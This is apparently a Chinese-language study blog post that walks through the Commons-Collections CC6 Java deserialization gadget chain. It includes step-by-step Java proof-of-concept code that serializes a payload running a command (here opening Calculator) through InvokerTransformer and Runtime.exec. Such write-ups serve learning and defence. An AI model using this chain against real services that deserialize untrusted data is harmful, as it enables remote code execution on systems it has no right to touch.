环境
这次感觉CC6就等于CC1的lazyMap➕URLDNS,里面也有一些要注意的地方
链条结构
直接看yso给出来的
1 2 3 4 5 6 7 8 9 10 11
| java.io.ObjectInputStream.readObject() java.util.HashSet.readObject() java.util.HashMap.put() java.util.HashMap.hash() org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode() org.apache.commons.collections.keyvalue.TiedMapEntry.getValue() org.apache.commons.collections.map.LazyMap.get() org.apache.commons.collections.functors.ChainedTransformer.transform() org.apache.commons.collections.functors.InvokerTransformer.transform() java.lang.reflect.Method.invoke() java.lang.Runtime.exec()
|
可以看到后半段其实很CC1的LazyMap是一样的,调用到get(),这次不同的是没有用memberValues.entrySet()
去调用,而是找到TiedMapEntry.getValue()

再进一步跟进,TiedMapEntry.hashCode()
里面出现了getValue
,巧了,前面URLDNS也用到了hashCode

所以我们拼接一些就是
1 2 3 4 5 6 7 8 9
| java.util.HashSet.readObject() ->HashMap.put() -> HashMap.hash(key) -> key.hashCode() -> TiedMapEntry.hashCode() -> TiedMapEntry.getValue() -> LazyMap.get() ... transform()
|
思路还是非常清晰的
Poc构成
一步一步来,先尝试直接调用TiedMapEntry
首先ChainedTransformer
和LazyMap
是不变的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33
| package com;
import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap;
import java.io.*; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.lang.reflect.Method; import java.util.HashMap; import java.util.Map;
public class cc6_test { public static void main(String[] args) throws Exception { Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a Calculator"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> hashMap = new HashMap<>(); Map decorateMap = LazyMap.decorate(hashMap, chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(decorateMap, "key"); tiedMapEntry.getValue(); } }
|
直接调用执行getValue
可以弹出计算机
再回退一步,这次我们直接用put去调用,在前面的代码后面这样改
1 2 3 4 5 6 7 8 9
| HashMap<Object, Object> hashMap = new HashMap<>(); Map decorateMap = LazyMap.decorate(hashMap, chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(decorateMap, "key"); HashMap<Object, Object> expMap = new HashMap<>(); expMap.put(tiedMapEntry,"key");
serialize(expMap); unserialize("ser.bin");
|
但是我们在调试后发现,在put()的时候就已经会弹计算机
这是因为expMap
是HashMap型的,他自己在put的时候就会进入我们上文说过的链条,此时顺着下去decorateMap
里面的内容就会被触发
1
| HashMap.put()-> HashMap.hash(key)-> key.hashCode()-> TiedMapEntry.hashCode()-> TiedMapEntry.getValue()->LazyMap.get()
|
所以我们要控制put的时候里面的东西和我们那一串chainedTransformer
无关,然后后面put完再改回来,保证只在反序列化的时候起作用。
同时,因为触发LazyMap里面transform()的主要影响属性是factory,它的作用域是protected,所以后面需要反射调用

还有一点就是LazyMap.get()
里面进入transform()
之后回再put一次,让key有值,后面反序列化再进入的时候会影响到if判断,所以我们在put之后需要把那个key给移走

为了搞懂这个,我加了一些调试语句
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| public Object get(Object key) { System.out.println("进入if前 map " + map ); System.out.println("进入if前 key " + key); System.out.println("进入if前 " + map.containsKey(key));
if (map.containsKey(key) == false) { Object value = factory.transform(key); map.put(key, value); System.out.println("进入if后 map " + map ); System.out.println("进入if后 key " + key); System.out.println("进入if后 " + map.containsKey(key)); return value; } return map.get(key); }
|
结果会打印
1 2 3 4 5 6
| 进入if前 map {} 进入if前 key aaa 进入if前 false 进入if后 map {aaa=1} 进入if后 key aaa 进入if后 true
|
所以我们需要在put后搞一个remove
1 2 3 4 5
| System.out.println("1 " + decorateMap.containsKey("TiedKey")); expMap.put(tiedMapEntry,"aaa"); System.out.println("2 " + decorateMap.containsKey("TiedKey")); decorateMap.remove("TiedKey"); System.out.println("3 " + decorateMap.containsKey("TiedKey"));
|
结果打印
综合上面这么多内容,最后的poc
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55
| package com;
import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap;
import java.io.*; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.lang.reflect.Method; import java.util.HashMap; import java.util.Map;
public class cc6_test { public static void main(String[] args) throws Exception { Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a Calculator"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> hashMap = new HashMap<Object,Object>(); Map decorateMap = LazyMap.decorate(hashMap, new ConstantTransformer(1));
TiedMapEntry tiedMapEntry = new TiedMapEntry(decorateMap, "aaa"); HashMap<Object, Object> expMap = new HashMap<>(); expMap.put(tiedMapEntry,"bbb"); decorateMap.remove("aaa");
Class c = LazyMap.class; Field factoryField = c.getDeclaredField("factory"); factoryField.setAccessible(true); factoryField.set(decorateMap,chainedTransformer);
serialize(expMap); unserialize("ser.bin"); } public static void serialize(Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin")); oos.writeObject(obj); } public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{ ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename)); Object obj = ois.readObject(); return obj; } }
|
参考
感谢各位前辈的分享
b站:白日梦组长
https://drun1baby.top/2022/06/11/Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96Commons-Collections%E7%AF%8703-CC6%E9%93%BE
https://www.cnblogs.com/CVE-Lemon/p/17935937.html